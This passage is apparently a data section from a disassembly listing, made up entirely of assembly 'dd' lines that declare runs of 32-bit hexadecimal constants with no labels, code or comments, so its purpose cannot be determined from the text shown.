		dd 5699A82h, 3A1F613h, 769FB5BCh, 0E9361107h, 3B9462B7h
		dd 0EFA0F10Fh, 9AFB5F46h, 0D631C703h, 0BE656Eh,	0E8A31521h
		dd 981A4394h, 0B2008FFEh, 0D8D6B525h, 0F8E7B3h,	4DD001A4h
		dd 0F678CE75h, 0CAE4FC00h, 98E99776h, 0C7B00037h, 0CC2250Ah
		dd 0B50E34E3h, 801EF5A9h, 7FDBBD92h, 4C71E9h, 209E432Bh
		dd 0B0A818AEh, 3C2DC00h, 0A471EA25h, 24E66Bh, 40CF2EB8h
		dd 1DAA556Fh, 75EC0A01h, 0FC7930E8h, 0B216CCh, 0C5ED439Bh
		dd 0C08B8C4Dh, 0B689CF00h, 7E597711h, 0EBB80714h, 86D61631h
		dd 0ED01E61Eh, 93826695h, 0E4D848F3h, 92330081h, 1F585E31h
		dd 0BC002BC1h, 7D72132Eh, 0C96E7Ah, 2394DF4Bh, 347B70FAh
		dd 5E90820Ah, 8800D869h, 219C01D6h, 0A1BA005Fh,	2AC8B35h
		dd 47072E99h, 904538E3h, 3EC06E95h, 0ECD7661h, 1AAB2AA0h
		dd 80EC89A0h, 430353E5h, 25DA18D2h, 27DEC095h, 33AE09FCh
		dd 0A4001B7Ah, 0D1C37B5Ah, 2F8A2E1Eh, 5F97BE80h, 1CB4944Bh
		dd 801EF05Ch, 0AD60DD84h, 0F600A7C6h, 0A8C52E0Ah, 8D2454h
		dd 29C966E9h, 3B87B14Dh, 0BC96A900h, 956F73ECh,	697E2490h
		dd 2117BBh, 0A2B20E5Dh,	2A19F08Bh, 501134F9h, 0BB960280h
		dd 908D9C77h, 5CB32124h, 2C408413h, 1BE858C6h, 0AC610F9Eh
		dd 3324BE2Ah, 714AC0D1h, 42E03E63h, 0E2869304h,	5F8537B1h
		dd 23FF1D00h, 484CFAFCh, 609F833h, 0A2503D5Fh, 0B06A1D00h
		dd 0B4835AD0h, 71D5FCB2h, 0FB0200AAh, 0C5F5C9C1h, 0CB00FAF9h
		dd 74DF9170h, 4B5248h, 82A5609Ch, 7C5845D5h, 91006779h
		dd 9447A472h, 5F08F7h, 7E2A4099h, 0B5B6885Bh, 0DBF2DD01h
		dd 0E119F551h, 5F84C8h,	2C152DC2h, 0D90C066Eh, 4EE6EE00h
		dd 3797F6F3h, 417C07h, 0E3366DBh, 1053562h, 2A02C70Eh
		dd 6945424Eh, 104446Fh,	83C1C618h, 0C8BE61D0h, 0A0A18A73h
		dd 0AC00637Eh, 670084A5h, 117DCF75h, 842886h, 9EB57992h
		dd 0E55A4294h, 4C52F700h, 0F9E76C2Ah, 0EBB7C99h, 580F0E7Ah
		dd 38F63D42h, 0EB1DCC40h, 0A3A68000h, 0AAB35177h, 3963717Ah
		dd 0FF50DC61h, 30D0EC0Fh, 0F630393Bh, 1F260CB3h, 0A0245C77h
		dd 28BFC600h, 0D48F7Fh,	657E707Ah, 40C12A4Ah, 58D8100Ch
		dd 0CA2853h, 8D075F6Ch,	1B755063h, 4E1C400h, 40C62165h
		dd 0A1F468h, 2B02CA59h,	0F482F134h, 0A6C88500h,	1A540AE9h
		dd 0AA010728h, 0F2486DD4h, 0D840408Dh, 0DE06FD37h, 7B902278h
		dd 0F2B61CD9h, 898C0031h, 6EB38DBCh, 7BE5B800h,	0E9EB6FD5h
		dd 3B240026h, 7912E8E3h, 2300338Ch, 66995A48h, 1D9A351h
		dd 34C6E526h, 2042EFD6h, 531CAB40h, 9002B567h, 6B9DFCB2h
		dd 0ACA998A4h, 9EAE021Ah, 158FA350h, 0EF8498A0h, 0E6C1D9E9h
		dd 51B1C944h, 4BE5E4h, 20B69B06h, 0C21AAEFEh, 82005B74h
		dd 59D9E2A1h, 0FCA4991h, 9FA123Eh, 1BC86D81h, 9508F86Fh
		dd 7CDAAC00h, 0DC669B19h, 9EF80383h, 87B6D68Bh,	0E20B6273h
		dd 80B09D2Bh, 0C089B4C0h, 8DEF0742h, 0A0F10485h, 9C15DE4Eh
		dd 80DB743Ah, 3BC52289h, 7587E8h, 2DB9B861h, 5A4E9DE3h
		dd 35E26800h, 0DD0D8583h, 0FF2A016Eh, 0AC0567AEh, 6448C05Bh
		dd 0C8583D3Eh, 45E0327h, 807DE2CEh, 0F987BC9h, 0DD4E86D1h
		dd 8C7EA440h, 2D0EB768h, 0A014B9E4h, 527B8E08h,	0EE887296h
		dd 0F093D24h, 8086481Fh, 0EB0C742Dh, 720064BEh,	171C4253h
		dd 6BC326h, 0BF338893h,	2F9F0435h, 364EB400h, 0D0212B24h
		dd 0AC06000Ch, 1B352D1h, 84009479h, 2AE697E3h, 754E18h
		dd 90D53AF9h, 0A1F8A98h, 4C23C300h, 0D0BBA3D3h,	299700DDh
		dd 822BBCBEh, 0C700854Dh, 6878073Ch, 1D83347Ch,	0C0ACAB8Ch
		dd 668B28A7h, 807959Fh,	63EB902Eh, 27A5C5E0h, 93333C49h
		dd 568EB180h, 7064FA40h, 0B6006072h, 0D2ABE2AAh, 0CAEDBBh
		dd 0BE36224Fh, 86684859h, 0A969FB00h, 0F3161FE4h, 20D100F0h
		dd 0C7D44D90h, 0AE3ECC9Fh, 5F1280E0h, 0F7DA0487h, 0B7AA00A4h
		dd 1EE430Ah, 0FC004F70h, 928365A2h, 136D8E5Fh, 24C0E1h
		dd 190FC19Eh, 7300F756h, 6466B827h, 1ADEECFh, 0F8C975E9h
		dd 0C80E95D2h, 0B500B49Ah, 0C63E3512h, 0D37415h, 6704F6CCh
		dd 0C81D6994h, 0F2B15F00h, 5CCFAE37h, 709D0207h, 6533B62Ah
		dd 0FD5A6040h, 0F646641Dh, 9AC545C3h, 67180063h, 0C325F9A5h
		dd 0EF00D41Bh, 12EEA83h, 0EBB7984h, 0B1867E1Ch,	5EB65800h
		dd 18390C94h, 2677004Fh, 0B9E51CBCh, 105419D5h,	0F83220B8h
		dd 53001952h, 959685F5h, 1EB8F36h, 0CFF60FFCh, 0F9AF7706h
		dd 72342035h, 0F6928C44h, 0F4750398h, 0F2A16D54h, 7B8000ADh
		dd 4F33A036h, 0F9014AE8h, 0F79F6EB9h, 19317FCBh, 57AC3840h
		dd 781B0B28h, 7380FCEAh, 9775F9E3h, 2D306750h, 0EAC3EC00h
		dd 7B9A5CBEh, 1CE076Fh,	206B9E04h, 0F55263FAh, 9C0E3Dh
		dd 0FCB6BF2Dh, 0C23015B3h, 9FD2A3A8h, 0FECA8FC0h, 394233Dh
		dd 0DAAFC7CBh, 0C9EE0F27h, 540BD04h, 49899B68h,	9F334500h
		dd 4C55CEFCh, 0AC9A0024h, 0C69CA496h, 450E14F9h, 60767F13h
		dd 374B2A8Bh, 815900C3h, 0BA3BDC5Bh, 0B0C0F84Eh, 9ADAFC13h
		dd 0B26E00A0h, 0F460A211h, 9901E41Dh, 72A4DCC4h, 0D5CCA654h
		dd 0FF707Eh, 0E4AAACAh,	0AC76CE1Fh, 0F168911Fh,	45FAE643h
		dd 670CC8BAh, 13B90048h, 0BFC1EF02h, 980049D7h,	7CAAEE6Eh
		dd 0ECEC109Dh, 9F9E002Ah, 63D177C1h, 3800C07Fh,	0B32C4AEDh
		dd 746E417Dh, 79FC008Dh, 777F3330h, 325C4275h, 37900A97h
		dd 0ED01A32Fh, 9B5E1C8h, 12FFD840h, 5DDC4C3Ah, 83C6F807h
		dd 0D76C20C7h, 5D17ED4Fh, 714FDD3h, 82511C8Ch, 0F464E84Dh
		dd 541D0840h, 75F7948h,	1377C25h, 0E5E450BDh, 9500B74Eh
		dd 2D4D1AE7h, 23F507h, 0A68FD385h, 466A5729h, 80DCA00h
		dd 931D341Fh, 0A99200B5h, 3AC61CE1h, 8C019690h,	172C1B31h
		dd 71603C11h, 3F2A0007h, 6DD671F5h, 0F400D124h,	0BFA54A61h
		dd 0B005D479h, 938130Ch, 80B41E67h, 0BE5CF6Eh, 0B30EB4B6h
		dd 0A09472AEh, 34530F99h, 467BDEh, 27753609h, 8BA8FFCBh
		dd 0E5E9E600h, 0B9BA319h, 9D7807D1h, 6A4996DFh,	63B200ECh
		dd 0AB9E7514h, 8300A9B0h, 0A5EE5773h, 1BAD0B8h,	9A4069Fh
		dd 70013DF7h, 3A764D75h, 5B6A681Ch, 44A500BEh, 98911E9Ah
		dd 3E5F1EADh, 6E74874Fh, 124030EAh, 0E2019A06h,	1C890323h
		dd 75E45CE1h, 686B0069h, 28B054DCh, 22014BE3h, 1742F089h
		dd 20F0506Ah, 947A0061h, 3B388AF8h, 0BC00DB08h,	39ECF99Fh
		dd 35BDF86h, 0F8D2464Eh, 0D1E0E19Ah, 0A902FD33h, 0E3651FC1h
		dd 24BC60F6h, 21DC00E0h, 0F142A0BAh, 35E0524Ah,	6025AC16h
		dd 76CEC40Eh, 0AF451C00h, 90687C1Bh, 2958268Bh,	8550874h
		dd 0D2D0F440h, 105C0178h, 6F717E84h, 8320B93Eh,	0A15B759h
		dd 602AB9FFh, 7FED2420h, 88BD0045h, 0DC1ACEC2h,	8A005138h
		dd 0E6109BBh, 7C12D3Dh,	0DF283AC8h, 325F7035h, 0CD00BC46h
		dd 0B699D70h, 3FBD012h,	26AC8838h, 5AA0BD5Eh, 0F400077Bh
		dd 0DF1939F3h, 70F795h
		dd 80CEAB51h, 0F0C44C30h, 2E34E0Fh, 20392ECCh, 676034DAh
		dd 0E4CB3FD5h, 2B7C248Bh, 3BFE6580h, 3600FC1Ah,	0ED541BBCh
		dd 0F8C8313Ah, 30E40011h, 93B68BD5h, 709737C1h,	0EC9047h
		dd 62C809ECh, 0B69A04DDh, 292EF007h, 0F9479264h, 37DFE71Eh
		dd 6F781AD0h, 0E4074C6Dh, 0E2A55800h, 6CABFB71h, 0F7487900h
		dd 0FDB4FE19h, 552D000Dh, 365E8946h, 407D06Fh, 0EFB20BECh
		dd 15253D71h, 0E2BB44F8h, 0AFC60399h, 0CA24139Ah, 18A3B688h
		dd 9B557109h, 0DB08800Ah, 17B13A31h, 5A08F9h, 7C2CB5F6h
		dd 6A00A6BEh, 85E58B11h, 1797ED9h, 0E67D2EAFh, 30977AC9h
		dd 0A50193A8h, 0CBD91B3Ch, 2C64F963h, 7CB00443h, 0C254AD04h
		dd 0D4C0F224h, 0F4E2D220h, 0D7024C7Ah, 2708B1E5h, 1C2C60FAh
		dd 487C1607h, 2F7005E3h, 530490ABh, 960D6CAh, 9BA6CF59h
		dd 0EE70106h, 2D9027EAh, 0CE9240C7h, 3F0F1D23h,	45D030DDh
		dd 48C06399h, 38716Dh, 493B10ABh, 0B09637F8h, 88B86213h
		dd 5EC2C700h, 4A7F14h, 0D5A1CF0Fh, 9F29D34Eh, 0A7EB1A0Fh
		dd 1ECB47BFh, 3BA27100h, 0FC73B3h, 9BCDC31Dh, 1CE77641h
		dd 6679C9F6h, 426D140Eh, 71C54060h, 32DEB1h, 0BEE8290Eh
		dd 5001EB3Ah, 0CC1F624h, 0A28E8100h, 0EE10B716h, 3AF20747h
		dd 51CBFD6Ah, 52B0FA6Ch, 1510A4D0h, 994724C0h, 83D80A14h
		dd 53003D9Ch, 87125ADEh, 9800814Ch, 551B572Dh, 0E26CF392h
		dd 9E49C95Fh, 283F9401h, 24F024CDh, 6CB10800h, 1E4C4789h
		dd 82BE0010h, 16998394h, 0A007D21Ch, 8E282770h,	0A1405637h
		dd 1C8AE36h, 9DEA5783h,	0ACB1541Ch, 0D6001410h,	599030A8h
		dd 4ACA1728h, 0F0800BFh, 2FB9B0A0h, 1390A350h, 6A01AD7Fh
		dd 4F509819h, 5C2073F6h, 15EEBFh, 275706BDh, 8DDED03Fh
		dd 5117357Eh, 0F302AE19h, 40E32402h, 26C7AAE4h,	11229BBh
		dd 0BF6B9932h, 9EFCE8B5h, 0C322A709h, 0A467009Ch, 7521F861h
		dd 0F44FAA6h, 0E6247A5Fh, 0EF7D0660h, 94009354h, 4BE0237h
		dd 0F262AF22h, 0DE3F04CAh, 803C55D2h, 0DF92633Ch, 85BAC200h
		dd 0EF48E23Eh, 6F87020Ah, 12DA679Ah, 8B7CB840h,	5AA84500h
		dd 0F4852F49h, 0BBC005Eh, 0D9E40D16h, 660E572Bh, 0A9B986DDh
		dd 363C005Fh, 0A14A53h,	0F9134DD0h, 0D2A17CBh, 6B488E0Eh
		dd 0BD26C18Ah, 7C807CF5h, 0ECC1B942h, 0DF006597h, 0B644D84h
		dd 1738FCE2h, 0A57775h,	8B8D0F94h, 5C00C3FFh, 0F81F39A7h
		dd 4CD3612Eh, 501A431h,	53FD7C9Ah, 0B318A6F7h, 58BA9B02h
		dd 9F240CFh, 0C4BCDC82h, 80EB35F0h, 6EC04A24h, 3A5FF109h
		dd 2E6000DAh, 1E1C81D7h, 661E86EBh, 0BF191FE4h,	695F358Ah
		dd 6C23079Ch, 0FAF950C1h, 2E4AB67Ah, 6A40B81Fh,	0B31327ABh
		dd 0C63B0E46h, 6E40774Ch, 0ED62816Fh, 4CB1012Eh, 8C25200h
		dd 3884B711h, 0F78F3FDCh, 0B6407F02h, 0B82CA2E4h, 3FAEA639h
		dd 0D5608054h, 4ABCF0EBh, 55793A7Fh, 0A9E2210Bh, 3A102400h
		dd 3F0EE889h, 0D3385D9Bh, 3E91D09h, 9FB2BF64h, 0C07EFEF2h
		dd 242DE16Ch, 0EB989Bh,	693E1FD2h, 811E8951h, 0D7014FB6h
		dd 0B194DE48h, 733E2C29h, 76F20503h, 0C0D0AA50h, 6454D129h
		dd 8A008F84h, 0E5B1BD9Dh, 524732h, 447255F2h, 0DF15F453h
		dd 2C4B2B00h, 80B2287Ah, 0CA840050h, 2F0F47ADh,	0EC1DE344h
		dd 0B7806560h, 4FE07392h, 0DA581F7Fh, 0E3304398h, 3DC05017h
		dd 964D2646h, 230217BCh, 0A3C3B44Fh, 0F8AF1D6Eh, 9567F28h
		dd 0BB9E19C5h, 98120041h, 6739D874h, 967000F6h,	1CE4EB2h
		dd 0EC00CD05h, 0DB8B1C02h, 4C80E114h, 0F80CC661h, 36A8C906h
		dd 0E99DFB01h, 60BD348Ch, 0E93EC20h, 0DDF3911Ah, 0EF8603A0h
		dd 8005CCFh, 83EA63BBh,	4B2C0DBh, 1F0D9479h, 0E438C3D3h
		dd 0D43C47EBh, 9C2E009Fh, 668B2699h, 994009Eh, 1381C834h
		dd 0A975DABh, 6B06561Eh, 340D60Ah, 0D20136A9h, 2AE08846h
		dd 41E89453h, 135DD401h, 265FA09Ch, 111220h, 0E82A649Fh
		dd 752FC956h, 0E13FB800h, 47E48D5Eh, 0FAA30081h, 792E1E2Bh
		dd 4D01EC36h, 2542D527h, 0A8285296h, 0C6FD277Fh, 39EDD6h
		dd 7B9A9E48h, 7ABCEDh, 0D244BE5Ch, 298F04B4h, 80DE7F25h
		dd 0C1B742E0h, 0EA264C76h, 5BD52500h, 0E27CB1DCh, 0AF306105h
		dd 0CCD04E11h, 920A2888h, 9F890324h, 0B7B1B6EEh, 0E2D8BAA0h
		dd 18BEF3FDh, 720C0B7Bh, 31089B89h, 4D5A1CB5h, 0F6B002D7h
		dd 7FC050DDh, 9FCE55Dh,	0A911DE60h, 1E32182Ch, 404089BAh
		dd 797DA042h, 5800AF31h, 0E095F2CAh, 16CB2861h,	0F315EBh
		dd 29EE60C8h, 9E84DA5h,	0A4CB71C1h, 0B8B05BE5h,	87AF9860h
		dd 3B1E1100h, 0CD58EEA5h, 4BA6152Eh, 0D303A050h, 67894E8Eh
		dd 0C89FD837h, 0D271B703h, 88061A90h, 0F60050D7h, 3181BD3Dh
		dd 36920h, 0F7896B2Eh, 11355CFEh, 0B6831700h, 80DA0247h
		dd 0BAB558E6h, 0B3047400h, 0BDA99597h, 5900A7F6h, 6CFBDCE8h
		dd 0F6E34Fh, 337DE240h,	6D2CD9FDh, 52E7C300h, 0E418430h
		dd 7AE0057h, 0AA10E601h, 0CB00AC06h, 0AD5F09E3h, 35DD5Ch
		dd 0B53D1614h, 59394F63h, 46182D1Eh, 0B7D9F280h, 4E5B6799h
		dd 7720ACFEh, 1753ED00h, 0FF1418A5h, 3B50127Ch,	41F0055Fh
		dd 57F84032h, 6ECD3420h, 0EF0783F4h, 435EEB17h,	65BC08A0h
		dd 897700C6h, 0FB875039h, 2B071AE7h, 6A32C0C9h,	0AE50F1A7h
		dd 38EA772Dh, 0CE8B2151h, 3C00636Bh, 0A21766E2h, 360378BAh
		dd 0A568D905h, 0B248D0A1h, 255126BCh, 3F5B00C0h, 95FA646Bh
		dd 5979F200h, 349FE126h, 0BD5E0111h, 0BE21D343h, 9402DF9h
		dd 805B539Dh, 0D5AAFC00h, 0A2FB00D0h, 96BEF536h, 0EC0F4C71h
		dd 0A0590972h, 0AE2B4E3Ch, 706EA38h, 2D39CBE2h,	5407DB48h
		dd 5377A091h, 0ED003383h, 74F8E4B5h, 0FC613B4Eh, 0D8C006Ch
		dd 97688DC0h, 247AAE46h, 6EC4A203h, 0C8422BDBh,	0E0504AF6h
		dd 722F0333h, 793DFDE1h, 73F50A03h, 0A80D2CA5h,	0ECDA6237h
		dd 17A6004Dh, 0A243D1C8h, 842E0129h, 0AC92A08Fh, 79AE34D0h
		dd 719A1E7Bh, 0EC41C0BBh, 68370D5Eh, 0A0504526h, 0BE958B00h
		dd 3EFC5885h, 34F5A9Dh,	0C0C12364h, 5D10809Ch, 0B9E2A408h
		dd 1786D51Eh, 6CB3F140h, 556ADBBh, 4DC3FD51h, 0E41C8890h
		dd 73503304h, 0B3C025C1h, 50FA9D0h, 38CB186Dh, 2F5C8803h
		dd 0BD00A4F6h, 0E795514Bh, 4EC092Dh, 0B94EC37Bh, 0EF48C0C2h
		dd 0DE014D15h, 647F456Eh, 0EBCC862Dh, 2BE200F8h, 0B972A2C3h
		dd 6B1208D1h, 18805C76h, 494C96h, 0CA2A41CBh, 0E7734063h
		dd 4E42049h, 1669D15h, 1DAFCE0h, 91130796h, 0FC8CD7E0h
		dd 0DD16E6AFh, 57000337h, 0FA3F7931h, 0B23D1D77h, 0E2C68095h
		dd 0C89F62ADh, 0E7807A02h, 0E91E0A1Bh, 0D845A630h, 59D03081h
		dd 0C51CE8C2h, 2C800024h, 8F9DA0CFh, 9362DA05h,	20D58E98h
		dd 0D9396B07h, 0C4F8CD02h, 0E9D0F585h, 2C20F0B8h, 535800A8h
		dd 0EA4B5228h, 22009A0Eh, 0CEF4D3FCh, 5C91D4A9h, 1F007493h
		dd 0A8FE36A1h, 7F00B701h, 0A5D80DDh, 3A0F32h, 20FA0706h
		dd 7A9ED357h, 847100Bh,	0DAC891A6h, 0F1D58E4h, 689D8194h
		dd 0D3E47FC0h, 0C51C8A74h, 0DEECBB36h, 7D4AF20Eh, 2FA70D40h
		dd 98138011h, 0C42E0163h, 0DB44F0BBh, 0FAD8B008h, 69BFA1h
		dd 1C84A927h, 1525B62Fh, 9D4B700h, 812EC438h, 0B9AB3AE1h
		dd 7E004CC8h, 3E0F8AFFh, 8D03364Fh, 8E6BA344h, 0C0A1D23Bh
		dd 0B3977A8h, 51856E6Fh
		dd 0CC8B9400h, 0A6F87DA5h, 0F9FAC604h, 1881797Eh, 8420AD12h
		dd 6535005Bh, 20B2C76Ah, 0C300E7B7h, 0AD5D8856h, 7927121Bh
		dd 2E330076h, 0B66C6890h, 7D09814Ch, 809AD3ACh,	299FC887h
		dd 0BB5C00DCh, 88BF692Dh, 17013310h, 7DABE56Eh,	3BD4E647h
		dd 0C6DC008Fh, 0A78D9CC1h, 2A00B3A1h, 32C9DE5Ch, 175D207Bh
		dd 40C82FD6h, 0A717779Ch, 9E5860CAh, 0AC0850DAh, 48F0CD0Bh
		dd 0CF7CA0E0h, 0FB0BE1h, 0FF4D61DAh, 5CAE155Eh,	0A01C2800h
		dd 0D264DEF8h, 17942695h, 4FFE00A0h, 3925565Fh,	9663ED0Fh
		dd 8F0A9233h, 0A101A0A7h, 0CB5C431Ah, 7CA8DBF0h, 0DE648h
		dd 0D7FD2A70h, 0B4EA187Eh, 0F3FB5400h, 0A155A03Eh, 275600A3h
		dd 612F1A88h, 480F175Ah, 0C045AA37h, 0DB53F93Dh, 0ABC9006Dh
		dd 67B7033Ah, 0F30909D3h, 0AFF4F06Ch, 2031AE50h, 194090A4h
		dd 47F8A05Ch, 8EDCB9D8h, 18580801h, 0B11FDF38h,	865444C5h
		dd 80D23C84h, 6D7C253Ah, 1AEAAEh, 3DDE140Eh, 0B08398C3h
		dd 121D01EEh, 0E7860336h, 3386CF6h, 25D9A77Ch, 10005AF1h
		dd 2CFD1D3Ah, 12DECE52h, 44D8B4FBh, 0E0127DC4h,	27003364h
		dd 1797BF1h, 0E2F32E92h, 20B442h, 4A57CE40h, 980349DDh
		dd 0EE56FAF0h, 4420C0A5h, 9AF31DF8h, 3E94A8C4h,	0F98077BBh
		dd 7C1936CCh, 0C009765h, 7A944EF3h, 0C02FE423h,	0EA840E28h
		dd 2B001898h, 0FE445E28h, 79BC4375h, 0F1CA0389h, 79B89101h
		dd 14D423B8h, 5D35CE01h, 530FE9Ah, 2606A9D4h, 1B4BC93h
		dd 89C4B9C9h, 1FAD00Fh,	4AD86260h, 0D62D16h, 45835174h
		dd 2EA1194Bh, 72755C00h, 968FDAAFh, 7E0F68Ch, 1E6EBCEh
		dd 0A776006h, 289E50B1h, 0B062C000h, 0E7DFAFFh,	6E88E4DCh
		dd 1F2AE680h, 0BF00963Bh, 47AE94DBh, 0EA0F57A7h, 2CB8982Fh
		dd 17F06511h, 0CB0BFEF1h, 8B4B803Eh, 761BA7h, 0EF192F01h
		dd 7AC2C651h, 0E91772E8h, 0D4276737h, 9C3859E0h, 6831016Fh
		dd 32E64C78h, 4E6A800Ch, 0D64F8581h, 0CF180B39h, 8403A05Fh
		dd 17DB766Ah, 0D89ED8A9h, 8B722A25h, 0B841F104h, 4CA18263h
		dd 0E807EC60h, 97882E6Eh, 4D5660E8h, 4C9420D7h,	201B403Ah
		dd 0F0E12440h, 0A402BAF9h, 9D110E82h, 480441B7h, 3F1E1C29h
		dd 34910190h, 403D5968h, 2A0FE908h, 4601CCE6h, 353B5A0Dh
		dd 51EEAEEFh, 982610A8h, 9F7CFA1h, 29F6824Bh, 9088C045h
		dd 8063E308h, 4EC5FFA3h, 5600402Ch, 0DCB7163Dh,	0ACE93Dh
		dd 757E9AA4h, 0EBFC7Ah,	0A4E5A12h, 27446392h, 8F008972h
		dd 64C0C240h, 7E26D3DAh, 0CC7B00C5h, 695BE223h,	150CB03Eh
		dd 684CBB97h, 78C91E4Eh, 16EB80B6h, 85CFF51Fh, 140BD02h
		dd 401DDED1h, 9D2C94h, 0E36190BFh, 29D4B80Fh, 0FC49E700h
		dd 7C72BA07h, 0BFE00392h, 9474334Ah, 1DFE5FB8h,	24C13703h
		dd 98595458h, 0FCF48740h, 0D34A00CCh, 199EB6ECh, 0C2005144h
		dd 8CBDD836h, 16133942h, 780E90Eh, 671DE298h, 467F7289h
		dd 754060DDh, 0FA121DA6h, 0DF30C037h, 65A36D54h, 18006CF2h
		dd 4AF7FE7Eh, 4D31EF4h,	21315834h, 0E03F8783h, 6D14FD1Bh
		dd 85D91D00h, 8739FEB7h, 82E0116h, 42FC68DFh, 0C04080FFh
		dd 9B8F1922h, 2BF80141h, 0D5BE9872h, 296C2092h,	2D01A775h
		dd 82613AC7h, 0E1D488DEh, 0FDAD3901h, 0EB6B0480h, 0ED62FEE8h
		dd 0C85F5301h, 8A0FC283h, 0B8BB7BFCh, 0D782222Ch, 0FAD0AC00h
		dd 4963E515h, 7C0604F3h, 0C084437Bh, 0DD967D84h, 0E8B33B0Bh
		dd 9BC7003Fh, 2633DF06h, 54DAF6h, 7FF89A9Dh, 0A10C8C13h
		dd 0E87E69EEh, 84E30136h, 0CB74AAE1h, 7BB0925Ch, 5190B0D2h
		dd 0AFBB8B20h, 6588FB80h, 0F30050CFh, 0B19558CDh, 259EE9ACh
		dd 0CC68FEDCh, 313EA323h, 87A10089h, 7D6FF7C0h,	262507EBh
		dd 3142CFC4h, 0E5C178E5h, 0B2F3F85Dh, 74D02100h, 0E93A7A9Bh
		dd 95CB1EF7h, 0E78EC005h, 81120754h, 335A2200h,	848D23F3h
		dd 0F651E2Dh, 7C05C048h, 9343831Dh, 0AD07087Eh,	0B2C5C691h
		dd 0B66D1071h, 8E0CC8h,	0CB638295h, 8A94553Bh, 7CA01403h
		dd 0F0D343BFh, 14A89DBAh, 0C003B76Bh, 23A4C11h,	1FA16D55h
		dd 0AFD480FBh, 0FFA661h, 0B354B296h, 0BA01CDD7h, 3EBBB00h
		dd 8975ACE6h, 0B5BF01DEh, 5342C362h, 1E6C2894h,	680135Dh
		dd 796F47Eh, 4F4B2C65h,	0B4CB1294h, 30002ECh, 1B01CFAEh
		dd 72EB1C71h, 7D60059h,	0CD04EE4Fh, 6203845Ah, 143A7BF3h
		dd 2FF2A88Ch, 0CA16005Ch, 9FDD474Eh, 0C526A64Ch, 0B5801888h
		dd 0E4CB3CDCh, 6BFA5Bh,	0C5642FEEh, 907F5F3Bh, 0F7F89212h
		dd 6C8E6400h, 0E683D8h,	0CA714312h, 0EC793B9Fh,	0A9A67A0Fh
		dd 0F2300607h, 5FC90050h, 0B272ABDBh, 0E407A0BDh, 32F73E9Ch
		dd 96FEF020h, 795D0B5Ch, 220047B1h, 637EAA23h, 0B82B7400h
		dd 0FB1A4AF6h, 1FFE0BBh, 488B7CD4h, 20EF69BFh, 6E04C46Ch
		dd 0BD0E2691h, 633E54C2h, 0F7391E95h, 942930EFh, 1C0025BEh
		dd 1875CC7Ah, 3B64B442h, 1302A343h, 4F9A64Dh, 0A006450h
		dd 0D0158598h, 1621F4Ah, 0F9AE638Bh, 0F9BAD109h, 1290FF9Fh
		dd 411E1335h, 7ADDDB34h, 0E8088142h, 10C4A05Ah,	8CC4B0h
		dd 27FD049Ah, 91D42948h, 4477FB00h, 0CAACE431h,	606E1D6Ah
		dd 63A04606h, 8F00B8D5h, 9B1778B9h, 1A7F8Ah, 0C9D7066Dh
		dd 23818505h, 3695F100h, 0F9E62F14h, 1E5CF67Bh,	8090E86Ch
		dd 0B84A1D93h, 2C7F63B5h, 0A1796E2h, 0A60A23A3h, 0B202C975h
		dd 0D085558Bh, 704E2E94h, 0A62A00E2h, 2CE354DDh, 85E8CC00h
		dd 76C325CAh, 0E70200EBh, 2A4F3AFDh, 3D0060C8h,	40C9129Dh
		dd 16096618h, 9CA7782h,	0D48039EAh, 0A6E87DBCh,	18466225h
		dd 1C20E1Ch, 9F042479h,	42263A54h, 785CA6B8h, 40E64389h
		dd 0BC6970h, 46B30A22h,	0D13D2B7Ah, 8AB87105h, 8CA16E57h
		dd 473C002Fh, 0C6F0EE9Ah, 0AE143107h, 805EA473h, 3C233EECh
		dd 76340061h, 36B0F11Ah, 607CCA15h, 0DCA01098h,	2B033C27h
		dd 0D49DEDC9h, 0B44A88F0h, 3E73E2DFh, 23007489h, 2B53816Bh
		dd 901F9ABAh, 0C0839632h, 0F3FB11CEh, 0B81EB8F6h, 0EE60005Dh
		dd 3125BAC5h, 0C7009416h, 2B4AF835h, 9E504AEh, 431D119Eh
		dd 48EE4800h, 0FE30F578h, 3C698826h, 0BE700074h, 0B7206B93h
		dd 214A3D8Fh, 9C814C01h, 3428EFDCh, 0CAC60400h,	7D1E3FA6h
		dd 0B595B303h, 90AB0C19h, 0A01CF629h, 2A368Ch, 99A2F3C6h
		dd 77246C3Fh, 0C8CD4800h, 342050BDh, 0F24300EEh, 0AA9FEC55h
		dd 800DFF0h, 377C2418h,	190A0E8h, 0D4D18433h, 0C849BA32h
		dd 0E900FD71h, 70991CBDh, 62818Ah, 88EA20F8h, 47799185h
		dd 899A1500h, 0DDFD21B8h, 9BD13C9Eh, 0F88093h, 7717CB20h
		dd 0DA077264h, 0FB198413h, 28B76190h, 76670111h, 0F5D74380h
		dd 48116016h, 4950D200h, 301CE75h, 3E28B0D3h, 4000CBE9h
		dd 0DB3D5B7Ch, 0C127A3C6h, 1EA048CAh, 7BB1009Dh, 0AABFEC6Eh
		dd 0D4164195h, 5890122Ah, 3D9C0555h, 7D807154h,	6F4D3FBh
		dd 42003D93h, 0FE62EBE3h, 17C0AFh, 0C192342Fh, 9A6FFD85h
		dd 4071CF00h, 67985FF3h, 0A58F0099h, 0F77934E5h, 0C706DA52h
		dd 614437BEh, 260D0078h, 0A450F05h, 600071AFh, 0E1CEE76Ch
		dd 0F3781Ch, 0C9DA23C7h, 0DD530774h, 0C84CEB12h, 882BB1Eh
		dd 0E0E17C73h, 0F31A2D0Ch, 1950FD8h, 8D042671h,	0C8E58656h
		dd 680075FFh, 6EA6F01Fh, 22ED613Dh, 0FEFC532Ch,	8E5D08BCh
		dd 0EDDFE5D3h, 4BB4F881h
		dd 0AC720909h, 0D50008A7h, 0D350DFCAh, 89AF1498h, 2C77188Eh
		dd 2D484D57h, 0ED32E81Ch, 539F81D2h, 61DE0194h,	0C0DAF3Ch
		dd 7F5B869Ch, 0B715E820h, 8853B844h, 204EE454h,	3D0030D7h
		dd 2031AF75h, 49DC45h, 68B6CC3Eh, 61FBEA81h, 9C31074Ah
		dd 0C4E17FDBh, 5196D0h,	95A59B84h, 221E13ACh, 1D05EE00h
		dd 34DBCA6Bh, 0EDA200FFh, 0A99CF887h, 6800F27Dh, 0BA057211h
		dd 70D7DFB3h, 0D05C00D8h, 41381BB5h, 2900779Dh,	3FC1E33Ah
		dd 0CEEE12h, 18EFAE0Bh,	3E956DC0h, 0CAB6AB00h, 904E680Ch
		dd 6CE800BDh, 67497DB1h, 0B0001F96h, 650ADFEDh,	0BBB709h
		dd 0EB8C8468h, 2F8E8232h, 6B0060E8h, 0F239D91Eh, 23F3E88h
		dd 0A95BE39Dh, 23C1DE81h, 2DF82844h, 72E4A026h,	728D56E1h
